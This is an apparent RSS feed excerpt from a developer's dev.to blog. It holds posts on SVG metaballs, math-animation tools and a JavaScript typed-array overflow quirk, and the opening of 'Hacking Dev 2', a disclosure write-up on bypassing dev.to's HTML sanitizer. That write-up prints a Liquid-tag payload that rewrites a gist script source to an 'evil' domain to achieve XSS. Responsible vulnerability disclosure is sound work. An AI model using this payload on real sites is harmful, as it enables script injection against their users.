        &lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;clientX&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;y&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;clientY&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;y&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nx"&gt;isMoving&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;cx&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;newPosition&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;isMoving&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;cy&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;newPosition&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;y&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="nx"&gt;svg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;mouseup&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;isMoving&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I also added few sliders to play with the values in real time, feel free to check the source code for the implementation if you're interested.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://garand.dev/projects/metaballs/" rel="noopener noreferrer"&gt;Here is the live playground&lt;/a&gt; for the interested!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F3g58m6dgia7yf1fmounp.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F3g58m6dgia7yf1fmounp.gif" alt="Interactive metaballs"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Summary
&lt;/h1&gt;

&lt;p&gt;Metaballs are a fascinating type of object, and now thanks to these two SVG filters, you can add them anywhere!&lt;br&gt;
Unlike the geometric approach I initially attempted, using filters has many benefits:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Supports any shape, keeping in mind it will be slightly altered once blurred&lt;/li&gt;
&lt;li&gt;Performant: Has a very small cost to increasing the amount of objects!
Only requiring one gaussian blur per item, and running the color matrix filter once, very far from an exponential growth&lt;/li&gt;
&lt;li&gt;Supports partial bridges, giving a &lt;em&gt;magnetic&lt;/em&gt; effect&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And unlike the contrast method webflow used, it does support a transparent background, end even blending colors of the blobs!&lt;/p&gt;

&lt;p&gt;Right now, these metaballs are still only a proof of concept, but I have few interesting projects I'd like to do with them, such as a lava lamp and a gallery similar to the one Canva did.&lt;/p&gt;

&lt;p&gt;Keep in mind that I'm not the first one to find this way to make metaballs using the &lt;code&gt;blur&lt;/code&gt; and &lt;code&gt;colormatrix&lt;/code&gt; filters. While looking at other projects to do with this technique, I found &lt;a href="https://codepen.io/chrisgannon/post/how-to-make-an-svg-lava-lamp" rel="noopener noreferrer"&gt;this post&lt;/a&gt; from Chris Gannon on making a lava lamp and &lt;a href="https://css-tricks.com/gooey-effect/#making-things-stick" rel="noopener noreferrer"&gt;this one&lt;/a&gt; from Lucas Bebber on a gooey menu, both of which are over 5 years old!&lt;br&gt;&lt;br&gt;
Things like this reminds me that we're all doomed to reinvent the wheel at some point, and that great minds think alike!&lt;/p&gt;

&lt;h1&gt;
  
  
  References
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;Wikipedia - &lt;a href="https://en.wikipedia.org/wiki/Metaballs" rel="noopener noreferrer"&gt;Metaballs&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Illustrator plugin for Metaballs - &lt;a href="http://shspage.com/aijs/en#metaball" rel="noopener noreferrer"&gt;shspage Metaballs&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Helpful math for the above - &lt;a href="https://math.stackexchange.com/a/2294532" rel="noopener noreferrer"&gt;Given two touching circles, find position of a third circle of known radius so that it touches them&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Geometric metaballs using &lt;code&gt;paths&lt;/code&gt; -  &lt;a href="https://varun.ca/metaballs/" rel="noopener noreferrer"&gt;Metaballs&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Alternative technique - &lt;a href="http://jamie-wong.com/2014/08/19/metaballs-and-marching-squares/" rel="noopener noreferrer"&gt;Metaballs and Marching Squares&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Webflow - &lt;a href="https://blobs.webflow.io/" rel="noopener noreferrer"&gt;Make and animate Metaballs with Webflow&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Opacity - &lt;a href="https://en.wikipedia.org/wiki/Alpha_compositing#Alpha_blending" rel="noopener noreferrer"&gt;Alpha blending&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;ColorMatrix filter - &lt;a href="https://alistapart.com/article/finessing-fecolormatrix/" rel="noopener noreferrer"&gt;Finessing &lt;code&gt;feColorMatrix&lt;/code&gt;&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Similar post - &lt;a href="https://css-tricks.com/gooey-effect/#making-things-stick" rel="noopener noreferrer"&gt;Gooey effect - Making things stick&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>javascript</category>
      <category>svg</category>
      <category>metaballs</category>
    </item>
    <item>
      <title>Making math animations and videos with code</title>
      <dc:creator>Antony Garand</dc:creator>
      <pubDate>Thu, 30 Apr 2020 17:09:10 +0000</pubDate>
      <link>https://dev.to/antogarand/making-math-animations-and-videos-with-code-4181</link>
      <guid>https://dev.to/antogarand/making-math-animations-and-videos-with-code-4181</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Cover gif by &lt;a href="https://twitter.com/FreyaHolmer/status/1202648662049996801" rel="noopener noreferrer"&gt;Freya Holmér&lt;/a&gt;  &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I feel like animations are the most intuitive way to visualize and understand certain concepts, making them a great way to share and deepen knowledge on a subject.&lt;br&gt;
Yet, the classic video editors were never intuitive or easy enough to get started, coming from a technical perspective. &lt;/p&gt;

&lt;p&gt;As I've been seeing more of these animations recently, I've decided to list the available tools in hopes of trying them out!  &lt;/p&gt;
&lt;h1&gt;
  
  
  Objectives
&lt;/h1&gt;

&lt;p&gt;Here are few awesome animations sources I've seen, and would like to be able to perform using mostly code.&lt;/p&gt;
&lt;h2&gt;
  
  
  3Blue1Brown on Youtube
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://www.youtube.com/channel/UCYO_jab_esuFRV4b17AJtAw" rel="noopener noreferrer"&gt;3Blue1Brown&lt;/a&gt; is probably the most known math channel on Youtube.&lt;br&gt;&lt;br&gt;
His videos are mesmerizing, and the quality of his animations is astounding.&lt;/p&gt;

&lt;p&gt;Here are two of the most interesting visualization I've seen from him:&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/r6sGWTCMz2k"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=b7FxPsqfkOY" rel="noopener noreferrer"&gt;Using color to solve 2 dimensional equations&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Freya Holmér on Twitter
&lt;/h2&gt;

&lt;p&gt;I initially found her from her &lt;a href="https://medium.com/@Acegikmo/the-ever-so-lovely-b%C3%A9zier-curve-eb27514da3bf" rel="noopener noreferrer"&gt;Bezier curve medium post&lt;/a&gt;, which has a very visual approach when teaching us these curves.&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmiro.medium.com%2Fmax%2F880%2F1%2Awnf-6ayQN5bV5_t4PtbhiA.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmiro.medium.com%2Fmax%2F880%2F1%2Awnf-6ayQN5bV5_t4PtbhiA.gif" alt="Sample animation of a bezier curve from the medium post"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Since then, I've been following her &lt;a href="https://twitter.com/FreyaHolmer/" rel="noopener noreferrer"&gt;twitter&lt;/a&gt; and she continuously posts interesting visualization of her projects and problems.&lt;br&gt;
&lt;iframe class="tweet-embed" id="tweet-1252366720984952833-350" src="https://platform.twitter.com/embed/Tweet.html?id=1252366720984952833"&gt;
&lt;/iframe&gt;

  // Detect dark theme
  var iframe = document.getElementById('tweet-1252366720984952833-350');
  if (document.body.className.includes('dark-theme')) {
    iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1252366720984952833&amp;amp;theme=dark"
  }



&lt;br&gt;
&lt;iframe class="tweet-embed" id="tweet-1202648662049996801-171" src="https://platform.twitter.com/embed/Tweet.html?id=1202648662049996801"&gt;
&lt;/iframe&gt;

  // Detect dark theme
  var iframe = document.getElementById('tweet-1202648662049996801-171');
  if (document.body.className.includes('dark-theme')) {
    iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1202648662049996801&amp;amp;theme=dark"
  }



&lt;/p&gt;

&lt;p&gt;Here is a collection with most of her animations for you to explore: &lt;br&gt;
&lt;a href="https://twitter.com/FreyaHolmer/timelines/1215413954505297922" rel="noopener noreferrer"&gt;https://twitter.com/FreyaHolmer/timelines/1215413954505297922&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Tools
&lt;/h1&gt;

&lt;p&gt;Now, let's talk about the available tools to make our own!&lt;br&gt;&lt;br&gt;
This is in no way an exhaustive list, these are only the ones I've seen and added to my pinboard over time.&lt;/p&gt;
&lt;h2&gt;
  
  
  Manim (Python)
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/3b1b/manim/" rel="noopener noreferrer"&gt;Source on Github&lt;/a&gt;&lt;br&gt;
Manim is the tool built by 3Blue1Brown, and probably the most popular one in this list.&lt;br&gt;&lt;br&gt;
It was built for the very specific purpose of making these awesome animations, and is used by thousands of content creators.&lt;/p&gt;
&lt;h2&gt;
  
  
  Reanimate (Haskell)
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/Lemmih/reanimate#examples" rel="noopener noreferrer"&gt;Source on Github&lt;/a&gt;&lt;br&gt;&lt;br&gt;
Reanimate wants to be a library similar to Manim, but with a twist: It's made in Haskell! It is a lot less popular than Manim for obvious reasons, but does look very promising.&lt;/p&gt;

&lt;p&gt;This tool would be a great way to play with Haskell and to perform simple, pure animations easily.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2FLemmih%2Freanimate%2Fmaster%2Fgifs%2Ftangent.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2FLemmih%2Freanimate%2Fmaster%2Fgifs%2Ftangent.gif" alt="Sample animation made with Reanimate"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  MoviePy (Python)
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/Zulko/moviepy" rel="noopener noreferrer"&gt;Source on Github&lt;/a&gt;&lt;br&gt;&lt;br&gt;
MoviePy is mostly a video editing tool, but when combined with the power of the &lt;a href="https://pycairo.readthedocs.io/en/latest/" rel="noopener noreferrer"&gt;Cairo&lt;/a&gt; vector library, it can make very interesting animations, such as this funky pentagon made with &lt;a href="https://zulko.github.io/blog/2014/09/20/vector-animations-with-python/#example-10" rel="noopener noreferrer"&gt;only 30 lines of code&lt;/a&gt;!&lt;br&gt;
&lt;a href="https://zulko.github.io/blog/2014/09/20/vector-animations-with-python/#example-10" rel="noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.imgur.com%2F2YdW9yf.gif" alt="Animation made with MoviePy "&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Html5 Canvas (JavaScript)
&lt;/h2&gt;

&lt;p&gt;Since there are already lots of tools to animate canvas, such as &lt;a href="https://d3js.org/" rel="noopener noreferrer"&gt;D3.js&lt;/a&gt;, &lt;a href="http://paperjs.org/" rel="noopener noreferrer"&gt;PaperJS&lt;/a&gt; or &lt;a href="//fabricjs.com/"&gt;FabricJS&lt;/a&gt;, you could use these tools to perform your animation and then &lt;a href="https://medium.com/@amatewasu/how-to-record-a-canvas-element-d4d0826d3591" rel="noopener noreferrer"&gt;record the canvas&lt;/a&gt; or use a tool such as &lt;a href="https://github.com/mifi/editly" rel="noopener noreferrer"&gt;Editly&lt;/a&gt; to save it from the CLI.&lt;/p&gt;

&lt;p&gt;This also means it's easier to make and share an interactive version, and possibly easier to debug it as it relies on a real time feedback loop.&lt;/p&gt;

&lt;p&gt;The major issue I see using a Canvas is the lack of easy 3d support when compared to other tools, as well as a smaller base to start with.&lt;/p&gt;
&lt;h2&gt;
  
  
  Blender
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://www.blender.org/" rel="noopener noreferrer"&gt;Website&lt;/a&gt;&lt;br&gt;
Blender is probably best known for its 3d modeling capabilities, but it can also do animations, video editing, 2d and 3d models. With its powerful scripting capabilities, there isn't much it isn't able to do!&lt;br&gt;&lt;br&gt;
Using tools like &lt;a href="https://github.com/Helpsypoo/primer" rel="noopener noreferrer"&gt;Primer&lt;/a&gt; makes it easier to make statistics and environment related videos, like the ones on the &lt;a href="https://www.youtube.com/watch?v=0ZGbIKd0XrM" rel="noopener noreferrer"&gt;primer&lt;/a&gt; youtube channel.&lt;br&gt;
&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/0ZGbIKd0XrM?start=480"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  [Soon] Shapes (C# - Unity)
&lt;/h2&gt;

&lt;p&gt;I've discussed Freya earlier in the objective sections, with her animation style and quality as an inspiration for this post.&lt;br&gt;&lt;br&gt;
She is working on Shapes, and while it isn't released yet, nor will it be free at first, it already had its quality demonstrated with the animations built with it.&lt;br&gt;
It integrates with the &lt;a href="https://unity.com/" rel="noopener noreferrer"&gt;Unity&lt;/a&gt; engine, which is a very different approach than the other tools, and absolutely merits a mention.&lt;/p&gt;

&lt;p&gt;It should be released within two weeks according to &lt;a href="https://twitter.com/FreyaHolmer/status/1255210518807302146" rel="noopener noreferrer"&gt;a post on twitter&lt;/a&gt;, but will be limited to her patreons. &lt;/p&gt;




&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;Math animations are awesome, and the tooling for everyone to make their own is available!&lt;/p&gt;

&lt;p&gt;Do you have any other sources of these I should be aware of, or perhaps other tools I've missed? Please leave them in a comment so I can check them out!&lt;/p&gt;

&lt;p&gt;To end this, I couldn't do this post without linking to the &lt;a href="https://explorabl.es/math/" rel="noopener noreferrer"&gt;math section&lt;/a&gt; on the &lt;a href="https://explorabl.es/" rel="noopener noreferrer"&gt;explorabl.es&lt;/a&gt; website, which lists dozens of very interactive tools for various math concepts.&lt;/p&gt;

</description>
      <category>tools</category>
      <category>video</category>
      <category>math</category>
    </item>
    <item>
      <title>JavaScript typed arrays: Unexpected overflow</title>
      <dc:creator>Antony Garand</dc:creator>
      <pubDate>Tue, 12 Feb 2019 01:13:30 +0000</pubDate>
      <link>https://dev.to/antogarand/javascript-typed-arrays-unexpected-overflow-1e1p</link>
      <guid>https://dev.to/antogarand/javascript-typed-arrays-unexpected-overflow-1e1p</guid>
      <description>&lt;p&gt;In today's post, I will explain a particular situation which can occur in JavaScript if you use typed arrays.&lt;/p&gt;

&lt;p&gt;This isn't my discovery, I found out in &lt;a href="https://nullprogram.com/blog/2019/01/23/"&gt;this blog post&lt;/a&gt; by Chris Wellons, but I found the quirk so interesting I wish to discuss it in my own post.&lt;/p&gt;

&lt;p&gt;As you know, in JavaScript, all numbers are doubles, excluding two situations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Bitwise operations
&lt;/li&gt;
&lt;li&gt;Typed arrays&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In bitwise operations, the decimal section of the number is ignored.&lt;br&gt;
&lt;/p&gt;
&lt;div class="runkit-element"&gt;
  &lt;code&gt;
    
  &lt;/code&gt;
  &lt;code&gt;
    
console.log(2.99999999999999 ^ 2);

  &lt;/code&gt;
&lt;/div&gt;


&lt;p&gt;In this example, the answer is &lt;code&gt;0&lt;/code&gt;, as the operation performed is actually &lt;code&gt;2 ^ 2&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Typed arrays are a bit similar, they store only various type of integers.&lt;br&gt;&lt;br&gt;
Here is an example using an Uint8 array, which can only contain 8 bit integers.&lt;/p&gt;


&lt;div class="runkit-element"&gt;
  &lt;code&gt;
    
  &lt;/code&gt;
  &lt;code&gt;
    
const first = Uint8Array.of(123);
const second = Uint8Array.of(456);
console.log(first[0], second[0]);

  &lt;/code&gt;
&lt;/div&gt;


&lt;p&gt;The result of these two logs is &lt;code&gt;123&lt;/code&gt;, and &lt;code&gt;200&lt;/code&gt;.&lt;br&gt;&lt;br&gt;
The &lt;code&gt;200&lt;/code&gt; might be unexpected, but as mentioned earlier, the arrays can only contain 8 bit unsigned integers.&lt;/p&gt;

&lt;p&gt;The maximal value which can be stored by 8 bits is &lt;code&gt;255&lt;/code&gt;. As &lt;code&gt;456&lt;/code&gt; is bigger than &lt;code&gt;255&lt;/code&gt;, we cause an &lt;a href="https://en.wikipedia.org/wiki/Integer_overflow"&gt;integer overflow&lt;/a&gt;, and start over at 0.&lt;/p&gt;

&lt;p&gt;We can confirm this with the following example: &lt;br&gt;
&lt;/p&gt;
&lt;div class="runkit-element"&gt;
  &lt;code&gt;
    
  &lt;/code&gt;
  &lt;code&gt;
    
const arr = Uint8Array.of(255);
++arr[0];
console.log(arr[0]);

  &lt;/code&gt;
&lt;/div&gt;


&lt;p&gt;The result of this operation is &lt;code&gt;0&lt;/code&gt;, as we incremented &lt;code&gt;255&lt;/code&gt; to &lt;code&gt;256&lt;/code&gt;, therefore triggering an overflow.&lt;br&gt;&lt;br&gt;
As we overflowed by a single number, we start over at &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;



&lt;p&gt;Now, let's get to the interesting quirk which I mentioned in the introduction.&lt;/p&gt;

&lt;p&gt;As we already know, &lt;code&gt;255 + 1&lt;/code&gt; in a uint8 array is 0.&lt;/p&gt;

&lt;p&gt;With this in mind, what would you expect to be the result of the following code?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;arr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Uint8Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The only difference between this code and the previous snippet is that we assign the result of the &lt;code&gt;++&lt;/code&gt; increment operator to a variable.&lt;/p&gt;

&lt;p&gt;As the value of &lt;code&gt;arr[0]&lt;/code&gt; is &lt;code&gt;0&lt;/code&gt;, we would expect them both to be &lt;code&gt;0&lt;/code&gt;, right?&lt;/p&gt;

&lt;p&gt;Let's find out!&lt;/p&gt;


&lt;div class="runkit-element"&gt;
  &lt;code&gt;
    
  &lt;/code&gt;
  &lt;code&gt;
    
const arr = Uint8Array.of(255);
const x = ++arr[0];
console.log(x, arr[0]);

  &lt;/code&gt;
&lt;/div&gt;



&lt;p&gt;As it turns out, the value of &lt;code&gt;x&lt;/code&gt; is &lt;code&gt;256&lt;/code&gt;, and not &lt;code&gt;0&lt;/code&gt;!&lt;/p&gt;

&lt;p&gt;The reason behind this weird quirk is because of the types during the manipulations.&lt;/p&gt;

&lt;p&gt;In Javascript, during regular arithmetic operations, we use the &lt;code&gt;Number&lt;/code&gt; type (And soon, BigInt!). As the increment operator is equivalent to &lt;code&gt;1 + [value]&lt;/code&gt;, both numbers are converted to &lt;code&gt;Number&lt;/code&gt; during the operation.&lt;/p&gt;

&lt;p&gt;Once the operation is done, two things happen:  &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;We store the result of the operation in the &lt;code&gt;arr&lt;/code&gt; array.&lt;/li&gt;
&lt;li&gt;We store the result of the operation in the &lt;code&gt;x&lt;/code&gt; value.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Notice how on step 2, we use the result of the operation instead of the value inside &lt;code&gt;arr&lt;/code&gt;!&lt;br&gt;&lt;br&gt;
As the result is the addition of two &lt;code&gt;Number&lt;/code&gt;, we didn't cause an integer overflow, and therefore our value is &lt;code&gt;256&lt;/code&gt; instead of &lt;code&gt;0&lt;/code&gt;!&lt;/p&gt;

&lt;p&gt;Hopefully you found this quirk as interesting as I did!&lt;/p&gt;

&lt;p&gt;If you wish to learn more about this, I suggest you to check out &lt;a href="https://nullprogram.com/blog/2019/01/23/"&gt;Chris's blog post&lt;/a&gt;, in which he compares the behavior with &lt;code&gt;C&lt;/code&gt;, as well as links to the exact Ecma spec where this is defined!&lt;/p&gt;

</description>
      <category>javascript</category>
    </item>
    <item>
      <title>Hacking Dev 2: Slipping through security</title>
      <dc:creator>Antony Garand</dc:creator>
      <pubDate>Tue, 05 Feb 2019 00:41:46 +0000</pubDate>
      <link>https://dev.to/antogarand/hacking-dev-2-slipping-through-security-3gca</link>
      <guid>https://dev.to/antogarand/hacking-dev-2-slipping-through-security-3gca</guid>
      <description>&lt;p&gt;Following my last post, &lt;a href="https://dev.to/antogarand/pwned-together-hacking-devto-hkd"&gt;Pwned Together: Hacking dev.to&lt;/a&gt;, few other security resaearchers performed security audits of the website, and found other vulnerabilities.&lt;/p&gt;

&lt;p&gt;Among them is &lt;a href="https://twitter.com/becojo"&gt;Becojo&lt;/a&gt;, who found out you could bypass the security filters using Liquid Tags:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Basically, I can &lt;code&gt;capture&lt;/code&gt; the output of the gist tag in a variable, and modify it using the &lt;code&gt;replace&lt;/code&gt; function of liquid tags.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This represents the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight handlebars"&gt;&lt;code&gt;{% capture the_gist %}
{% gist https://gist.github.com/username/gist_id %}
{% endcapture %}

// the_gist now contains the HTML output of the gist tag evaluation

&lt;span class="k"&gt;{{&lt;/span&gt; &lt;span class="nv"&gt;the_gist&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nv"&gt;replace&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"github"&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"evil"&lt;/span&gt; &lt;span class="k"&gt;}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This would output the given script tag's domain from &lt;code&gt;gist.github.com/...&lt;/code&gt; to &lt;code&gt;gist.evil.com/...&lt;/code&gt;, which lets us control the domain of the script tag, giving us an XSS!&lt;/p&gt;

&lt;h1&gt;
  
  
  Whack-a-vulnerability
&lt;/h1&gt;

&lt;p&gt;With this knowledge, I started digging into more vulnerabilities which could be caused by liquid tags.&lt;/p&gt;

&lt;p&gt;This led me and the dev team to a game of whack-a-mole, where many variants of this vulnerability were found.&lt;/p&gt;

&lt;h2&gt;
  
  
  Replace
&lt;/h2&gt;

&lt;p&gt;Firstly, from &lt;a href="https://dev.to/antogarand/what-happens-when-you-submit-an-article-3f8a"&gt;my experience navigating the dev source code&lt;/a&gt;, I knew that the markdown was rendered before the liquid tags.&lt;br&gt;&lt;br&gt;
There are also a list of tags and attributes which are always whitelisted, therefore you can write raw HTML using these and it won't be filtered out:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://github.com/thepracticaldev/dev.to/blob/master/app/sanitizers/rendered_markdown_scrubber.rb"&gt;rendered_markdown_scrubber.rb&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;


&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;RenderedMarkdownScrubber&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;Rails&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Html&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;PermitScrubber&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;initialize&lt;/span&gt;
    &lt;span class="k"&gt;super&lt;/span&gt;
    &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;tags&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sx"&gt;%w(a abbr add aside b blockquote br button center cite code col colgroup dd del dl dt em em figcaption h1 h2 h3 h4 h5 h6 hr i img li ol p pre q rp rt ruby small source span strong sub sup table tbody td tfoot th thead time tr u ul video)&lt;/span&gt;
    &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;attributes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sx"&gt;%w(alt class colspan data-conversation data-lang data-no-instant data-url em height href id loop name ref rel rowspan size span src start strong title type value width)&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With this knowledge, and Liquid Variable Tags, I knew that I could use other tags than &lt;a href="https://help.shopify.com/en/themes/liquid/tags/variable-tags#capture"&gt;capture&lt;/a&gt; to get an XSS.&lt;/p&gt;

